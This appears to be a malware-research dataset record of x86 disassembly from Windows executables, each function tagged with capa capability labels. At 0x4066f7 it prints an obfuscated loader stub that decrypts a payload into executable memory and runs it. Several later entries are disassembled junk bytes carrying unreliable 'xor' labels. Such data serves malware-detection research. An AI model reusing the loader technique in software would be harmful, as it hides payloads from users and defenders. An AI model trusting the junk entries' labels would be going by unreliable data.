joyce8/EMBER2024-capa huggingface dataset:
Function at 0x486d60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x486db3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x486d9a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x48d740
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4bb54e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0048e060
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x86da34
call fcn.004ac751
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x48d7d3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004ac751
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x48d7cc
push 0
mov ecx, eax
call fcn.004848e0
mov dword [esi + 0xc], eax
jmp 0x48d7d5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x48d7d5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4aedde
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4aee16
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004ace6b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004ace43
jmp 0x4aee22
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4b04d3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4b0515
call fcn.004b5f8d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4b0515
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4b050c
xor eax, eax
jmp 0x4b051d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004b0523
pop edi
pop esi
pop ebx
ret 4
Function at 0x4b64bd
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4b64eb
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4b6509
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004b6423
jmp 0x4b6509
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4b6509
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004b6423
test edi, edi
mov eax, edi
jne 0x4b64f3
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4010ea
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x401189
Capabilities:
Query or enumerate registry key
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xfb8]
mov eax, 0x1038
call fcn.00406be0
mov eax, dword [0x40c148]
xor eax, ebp
mov dword [ebp + 0xfb4], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, 0x20019
push esi
push 0x4083e0
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x50], edi
call fcn.004066f7
mov ebx, eax
cmp ebx, edi
jne 0x401310
push esi
push 0x4083f4
push dword [ebp - 0x74]
lea ecx, [ebp - 0x80]
call fcn.004066f7
mov ebx, eax
cmp ebx, edi
jne 0x401310
push esi
push 0x408408
push dword [ebp - 0x80]
lea ecx, [ebp - 0x5c]
call fcn.004066f7
mov esi, eax
cmp esi, edi
je 0x40124f
lea ecx, [ebp - 0x68]
call fcn.00401080
lea ecx, [ebp - 0x5c]
call fcn.00401080
lea ecx, [ebp - 0x80]
call fcn.00401080
lea ecx, [ebp - 0x74]
call fcn.00401080
mov eax, esi
jmp 0x401332
mov esi, 0x800
push esi
lea eax, [ebp - 0x4c]
push edi
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push edi
jmp 0x4012ba
inc dword [ebp - 0x50]
mov ecx, 0x408424
lea eax, [ebp - 0x4c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40129b
cmp dx, di
je 0x401297
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40129b
add eax, 4
add ecx, 4
cmp dx, di
jne 0x401275
xor eax, eax
jmp 0x4012a0
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
lea eax, [ebp - 0x4c]
je 0x4012cb
push esi
push edi
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x50]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
cmp ebx, edi
je 0x40126a
jmp 0x401310
push 0x2001f
push eax
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x68]
call fcn.004066f7
mov esi, eax
cmp esi, edi
jne 0x401228
mov eax, dword [ebp + 0xfc0]
push 4
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
push 4
push edi
push 0x408438
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0x68]
mov ebx, eax
call fcn.00401080
lea ecx, [ebp - 0x68]
call fcn.00401080
lea ecx, [ebp - 0x5c]
call fcn.00401080
lea ecx, [ebp - 0x80]
call fcn.00401080
lea ecx, [ebp - 0x74]
call fcn.00401080
mov eax, ebx
mov ecx, dword [ebp + 0xfb4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406b00
add ebp, 0xfb8
leave
ret
Function at 0x40295e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x40c148]
xor eax, ebp
mov dword [ebp + 0x19c], eax
mov eax, dword [ebp + 0x1a8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.004066f7
mov ebx, eax
cmp ebx, esi
je 0x4029d1
lea ecx, [ebp - 0x74]
call fcn.00401080
mov eax, ebx
mov ecx, dword [ebp + 0x19c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406b00
add ebp, 0x1a0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x4029e9
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040295e
cmp eax, esi
jne 0x402a1b
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x4029d9
lea ecx, [ebp - 0x74]
call fcn.00401080
push dword [ebp - 0x78]
mov ecx, edi
call fcn.00402302
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.00401080
mov eax, esi
jmp 0x4029b7
Function at 0x4044d0
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x40c148]
xor eax, ebp
mov dword [ebp + 0x9c], eax
cmp dword [0x40c278], 0
je 0x4044fb
mov eax, dword [0x40c274]
jmp 0x404557
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.kernel32.dll_GetVersionExW]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x70], 2
jne 0x40454a
cmp dword [ebp - 0x7c], 6
jne 0x40454a
cmp dword [ebp - 0x78], 0
jne 0x40454a
cmp byte [ebp + 0x9a], cl
jne 0x40454a
cmp word [ebp + 0x94], 0
jne 0x40454a
mov eax, ecx
jmp 0x40454c
xor eax, eax
mov dword [0x40c274], eax
mov dword [0x40c278], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.00406b00
add ebp, 0xa0
leave
ret

Function at 0x404bad
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xf8c]
mov eax, 0x100c
call fcn.00406be0
mov eax, dword [0x40c148]
xor eax, ebp
mov dword [ebp + 0xf88], eax
push esi
mov esi, dword [ebp + 0xf9c]
push edi
mov edi, dword [ebp + 0xf94]
xor eax, eax
push 0x7fe
push eax
mov word [ebp + 0x788], ax
lea eax, [ebp + 0x78a]
push eax
call sub.MSVCR100.dll_memset
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
lea eax, [ebp + 0x788]
push 0x400
push eax
call dword [sym.imp.MSVCR100.dll_swprintf_s]
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x788]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop edi
pop esi
test eax, eax
je 0x404c43
xor ecx, ecx
cmp eax, 2
sete cl
jmp 0x404cb2
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x409e14
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
push dword [ebp - 0x7c]
test eax, eax
je 0x404c71
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x404cb4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xf98]
lea ecx, [ebp - 0x78]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404ca6
test dx, dx
je 0x404ca2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404ca6
add eax, 4
add ecx, 4
test dx, dx
jne 0x404c80
xor eax, eax
jmp 0x404cab
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
mov ecx, dword [ebp + 0xf88]
xor ecx, ebp
call fcn.00406b00
add ebp, 0xf8c
leave
ret

Function at 0x404ec8
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x404ee9
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0x409f2c
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x404ee9
inc esi
mov eax, esi
pop esi
ret
Function at 0x405e22
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x40c148]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x10
mov eax, 0x407c66
call fcn.00406b0f
push 0x409fc4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCR100.dll__wdupenv_s]
add esp, 0xc
test eax, eax
jne 0x405f00
push dword [ebp - 0x18]
call dword [sym.imp.MSVCR100.dll_free]
cmp dword [0x40c258], 0
pop ecx
je 0x405e7f
xor eax, eax
inc eax
jmp 0x405f02
lea eax, [ebp]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
cmp eax, esi
ja 0x405f00
test eax, eax
je 0x405f00
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.00401f01
and dword [ebp - 4], 0
push str.JavaDeployReg.log
lea ecx, [ebp - 0x14]
call fcn.00401f01
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00404095
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x405ed0
call fcn.004038f6
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x405edb
mov eax, dword [esi]
jmp 0x405edd
xor eax, eax
push 0x40a070
push eax
push 0x40c258
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x405f25
test esi, esi
je 0x405f00
mov ecx, esi
call fcn.004038f6
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.00406b00
add ebp, 0x20c
leave
ret
test esi, esi
je 0x405e77
mov ecx, esi
call fcn.004038f6
jmp 0x405e77

Function at 0x4061d6
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x407c8e
call fcn.00406b42
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.004066f7
test eax, eax
je 0x406201
call fcn.004061c7
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x408940
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x40625c
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.004068bb
pop ecx
pop ecx
push edi
push esi
call fcn.004066f7
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.004065cb
push eax
push esi
push 0x408fac
call fcn.004068bb
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x406255
ret
cmp ebx, edi
je 0x406267
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x406318
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x4062c4
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x406220
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x406318
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x406318
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x406220
mov eax, esi
call fcn.00406bae
ret
Function at 0x4066f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x406706
pop dword [ebp - 0x14]
mov eax, 0x406706
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x9b0126b0
add dword [ebp - 0x24], 0xb3511e9b
mov dword [ebp - 0x20], 0xee49ef0e
sub dword [ebp - 0x20], 0xbc16a2c9
mov dword [ebp - 0x1c], 0x59fee26b
add dword [ebp - 0x1c], 0xf24d61c3
mov dword [ebp - 0x18], 0x39512abf
sub dword [ebp - 0x18], 0x39512abf
lea eax, [ebp - 0x24]
push eax
mov eax, 0x9909c9f4
sub eax, 0x98c94938
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xef8792bc
sub dword [ebp - 0x24], 0x7b152966
mov dword [ebp - 0x20], 0xbdcee7f8
add dword [ebp - 0x20], 0x839d797d
mov dword [ebp - 0x1c], 0x97431304
sub dword [ebp - 0x1c], 0x33d3a698
mov dword [ebp - 0x18], 0x57294585
add dword [ebp - 0x18], 0xa8d6ba7b
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x28fa3e5c
sub eax, 0x28b9be4c
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x34b7b
push 0
call eax
mov ecx, 0x3f07
xor edx, edx
add edx, eax
mov esi, 0x40ec00
add esi, dword [ebp - 0x14]
mov ebx, 0x19916c50
sub ebx, 0xe0a5d238
add dword [ebp - 0xc], 0x81151b70
mov edi, dword [esi]
sub edi, ebx
xor dword [ebp - 0xc], 0x8602cb38
mov dword [edx], edi
mov dword [ebp - 0xc], 0x400ec691
add edx, 0xedaed0ad
add edx, 0x12512f57
add esi, 0x52a28fd2
sub esi, 0x52a28fce
loop 0x406819
add eax, 0xeeef
xor ebx, ebx
add ebx, eax
add eax, 0x3ca4e7d2
sub eax, 0x3ca4e7cd
mov ecx, 0x3a3f8948
add ecx, 0xc60076b8
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x406b00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c148]
jne 0x406b0a
repz ret
jmp fcn.0040704e
Function at 0x406fbe
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x40ada0
call fcn.00406fd0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x40c630], ebx
jne 0x406d61
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x40c62c
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x406d9b
cmp eax, esi
jne 0x406d8e
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406d9e
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x406d75
xor esi, esi
inc esi
mov eax, dword [0x40c628]
cmp eax, esi
jne 0x406db1
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x406dec
mov eax, dword [0x40c628]
test eax, eax
jne 0x406de6
mov dword [0x40c628], esi
push 0x408260
push 0x408254
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x406dec
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x406efe
mov dword [0x40c2a8], esi
mov eax, dword [0x40c628]
cmp eax, esi
jne 0x406e10
push 0x408250
push 0x408238
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x40c628], 2
cmp dword [ebp - 0x20], ebx
jne 0x406e1d
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40c634], ebx
je 0x406e3e
push 0x40c634
call fcn.004066f7
pop ecx
test eax, eax
je 0x406e3e
push ebx
push 2
push ebx
call dword [0x40c634]
mov eax, dword [sym.imp.MSVCR100.dll__wcmdln]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp ecx, 0x20
ja 0x406e9f
cmp cx, bx
je 0x406e5a
cmp dword [ebp - 0x1c], ebx
jne 0x406e9f
movzx ecx, word [eax]
cmp cx, bx
je 0x406e6f
cmp ecx, 0x20
ja 0x406e6f
add eax, 2
mov dword [ebp - 0x24], eax
jmp 0x406e5a
test byte [ebp - 0x40], 1
je 0x406e7b
movzx ecx, word [ebp - 0x3c]
jmp 0x406e7e
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call main
mov dword [0x40c2a4], eax
cmp dword [0x40c298], ebx
jne 0x406ee4
push eax
call dword [sym.imp.MSVCR100.dll_exit]
cmp ecx, 0x22
jne 0x406eaf
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
add eax, 2
jmp 0x406e45
cmp dword [0x40c2a8], ebx
jne 0x406ef2
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2a4]
call fcn.00407015
ret
call fcn.004066f7
jmp 0x406d33
Function at 0x435048
Capabilities:
Encode data using xor

Disassembly:
bound edx, qword [edi + 0x5e03112e]
adc dword cs:[ebx], eax
pop esi
mov ch, 0x48
scasd eax, dword es:[edi]
xchg ecx, eax
mov eax, dword [ebp + 0x114512f6]
mov edx, 0x3c9b64c9
wait
cmp al, 0x37
xor esi, ebx
sub dword [edx - 0x72], esi
dec byte [ebx]
xchg byte [ebp - 0x61], dl
test eax, 0xb779c16b
call 0xb2674519
inc esp
outsb dx, byte [esi]
mov dword [edi], edx
and al, 0xe4
outsd dx, dword [esi]
idiv byte [ecx - 0x25]
test eax, 0xd6a88ede
fld xword [ecx - 0x29577122]
dec esi
push edx
mov dword ss:[edx + 0x5649dbef], eax
pop ebx
cmc
adc esp, dword [edi - 0x7e5dd98a]
je 0x435036
xor dh, byte [ebx + 0x32d5ae8e]
shl dword [ebx], 0xde
in eax, dx
in al, dx
mov esp, 0x4a0a8262
and ch, byte [edx + esi*4 + 0x32]
jbe 0x4350db
inc edx
jle 0x4350ea
or ecx, dword [edi + 0xa074a85]
mov eax, 0xc8a7bac2
fcom qword [ecx]
mov byte [edi - 2], bl
jl 0x4350ba
xor eax, 0xd9431165
add al, 0xb4
int 2
leave
xor byte [0x28aec8a4], ah
jnp 0x435103
movsb byte es:[edi], byte [esi]
enter 0x28ae, 0x7b
inc ebx
stc
scasb al, byte es:[edi]
sbb bl, bh
daa
adc byte [ecx + 0x2a68b1d4], bh
mov ebx, 0x8eecb45e
and ebp, dword [ebx + 0x5b]
xchg ecx, eax
int3
push 0x5ebb362a
mov ah, 0xec
mov fs, word [ebx]
imul ebx, dword [ebx - 0x6f], 0xffffffcc
mov cl, 0x78
in al, dx
push 0xffffffffffffffcf
lahf
jl 0x435069
iretd
mov edx, 0x123e9b93
and eax, 0xe149a394
loope 0x43512c
inc ecx
xor ch, ah
cli
out 0x59, al
hlt
mov word [0x71228380], sp
and eax, 0x71228380
sbb dword [edi + esi - 0x50], ebx
jae 0x4350e9
sub esp, dword [eax - 0x415a6aea]
movsb byte es:[edi], byte [esi]
mov ah, 0x4d
adc bl, bl
jp 0x4350ca
push ss
xchg ebp, eax
movsd dword es:[edi], dword [esi]
mov esi, 0x124db4a4
fstp xword [edx - 0x53]
invalid
jbe 0x435105
cmp ebx, eax
test dword [ecx - 0x40], esp
mov byte [0x8d263fe6], al
add al, 0x61
inc esp
jle 0x4351b9
mov edi, 0x31900757
xchg bh, bh
add edi, 0x14069f4
js 0x435112
invalid
xchg edi, eax
pop edi
xchg edx, eax
aad 0x2c
xchg edx, eax
rcl ah, 1
mov al, 0xb0
sbb ebx, ecx
adc byte [eax + 0x4e], 0xed
sub eax, 0x4c3cab37
jp 0x43520e
sahf
add cl, byte [ecx - 0x2d6bb93]
cdq
dec edx
arpl word [ecx - 0x48], bp
lodsd eax, dword [esi]
dec ecx
add ch, al
hlt
leave
xchg esp, eax
cmp eax, 0x43a016d7
sbb byte [esi - 0x6d206819], ah
inc edx
jnp 0x4351b4
popal
jbe 0x435261
add eax, edi
lahf
mov ah, 0xbe
cld
out 0x74, al
inc edx
cdq
mov es, word [esi - 0x7a02cbb1]
scasb al, byte es:[edi]
mov esi, 0x13fd4495
invalid
movsb byte es:[edi], byte [esi]
xchg edx, eax
dec edx
cwde
shrd dword [edi + 0x68], eax, cl
sbb cl, byte [ecx]
punpcklwd mm6, mm4
mov ebx, 0xaef074d4
push ecx
push cs
pop ss
and ecx, dword [esi]
or bl, byte [esi - 0x6c]
cmp esp, dword [ebx]
pop ss
lodsd eax, dword [esi]
pop es
hlt
Function at 0x46feac
Capabilities:
Encode data using xor

Disassembly:
bound ecx, qword [edi - 0x79cf746a]
mov ecx, 0x11d2a18f
xchg byte [ecx + 0x11d2a18f], bh
mov edi, 0xd5f0dcd
push esp
mov al, byte [0x7c3296b9]
lcall 0xccae, 0xc1a1be26
add dh, ah
lcall 0x2bae, 0xcada9f6b
outsb dx, byte [esi]
mov al, 0x30
fimul word [edx - 0x16808d97]
das
cmpsb byte [esi], byte es:[edi]
mov ebx, 0x36e22029
and dword [ebx + ebx*4], esi
and byte [esi + 0xc393eb5], 0xdd
aam 0x3d
and al, 0x85
loopne 0x46ff67
jl 0x46ff42
cli
add esp, ebp
loop 0x46ff68
sal byte [edx + 0x5e], 0xc1
jl 0x46ff57
dec edi
insb byte es:[edi], dx
scasb al, byte es:[edi]
out dx, al
sbb ah, byte [eax - 0x54]
outsd dx, dword [esi]
sbb byte [ebx], ch
push ebp
int 0x14
mov bh, 0xf
mov ebx, ecx
cdq
imul ecx, dword [ebx + 0xf589445], 0x2d
int1
mov bl, 0x87
push es
je 0x46fea7
int1
sub byte [ebp + 0x40ed126a], ch
xor dword [edx], edx
das
salc
xlatb
and eax, dword [edi - 0x1d]
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
sub al, 0x8e
mov ebx, 0x587d22dd
mov byte [eax], al
add dword [ebx + 0x3438aa73], ecx
or cl, byte [eax + 0x57]
or ebx, edi
push 0xa75411d5
invalid
adc dword [edi - 0x71], edx
aad 0x23
das
invalid
dec eax
cmp dword [eax + 0x15], esi
popal
wait
mov bh, 0x54
pop ds
invalid
cmp byte [edi], bl
pop ds
or ah, dh
inc edx
je 0x46ffab
invalid
test eax, 0x7b380912
or byte [esi], 0x62
mov byte [ecx + 0xdb5b612], dh
push ebx
inc ecx
invalid

Function at 0x48adf4
Capabilities:
Encode data using add xor sub operations

Disassembly:
int1
and eax, 0x8db5d918
invalid
mov edx, 0xce0acabf
aaa
mov edi, 0x37ce0aca
or dh, 0x37
pop es
aas
imul byte [ebx]
mov byte [0xaa9b2fb9], al
wait
stosb byte es:[edi], al
add dword [edx + 0x392ffb77], ebp
xor eax, dword [edx - 0x59]
dec ebp
cdq
mov bl, 0x13
pop eax
daa
nop
push ebx
popfd
salc
sub eax, 0x69b6b583
popal
loope 0x48adf5
push esi
jg 0x48ade5
popfd
adc ch, ch
push ebx
pushfd
and al, 0xff
mov esp, 0xad3f4e9a
pop ebp
add cl, byte [ecx + 0x4e7507a0]
add al, 0x2a
cmp eax, 0x451cc3b4
mov esi, 0x3f736a40
xor eax, esi
dec ecx
hlt

Function at 0x48ae04
Capabilities:
Encode data using xor

Disassembly:
int1
and eax, 0x8db5d918
invalid
mov edx, 0xce0acabf
aaa
mov edi, 0x37ce0aca
or dh, 0x37
pop es
aas
imul byte [ebx]
mov byte [0xaa9b2fb9], al
wait
stosb byte es:[edi], al
add dword [edx + 0x392ffb77], ebp
xor eax, dword [edx - 0x59]
dec ebp
cdq
mov bl, 0x13
pop eax
daa
nop
push ebx
popfd
salc
sub eax, 0x69b6b583
popal
loope 0x48adf5
push esi
jg 0x48ade5
popfd
adc ch, ch
push ebx
pushfd
and al, 0xff
mov esp, 0xad3f4e9a
pop ebp
add cl, byte [ecx + 0x4e7507a0]
add al, 0x2a
cmp eax, 0x451cc3b4
mov esi, 0x3f736a40
xor eax, esi
dec ecx
hlt

Function at 0x4a80a4
Capabilities:
Encode data using xor

Disassembly:
in eax, dx
cmp ebx, dword [eax]
push ebx
shr esi, 0xff
cmp bh, ch
jg 0x4a8110
cld
shl byte [eax], cl
mov edi, 0x25f4ba23
mov ds, word [ecx]
aad 0xbf
hlt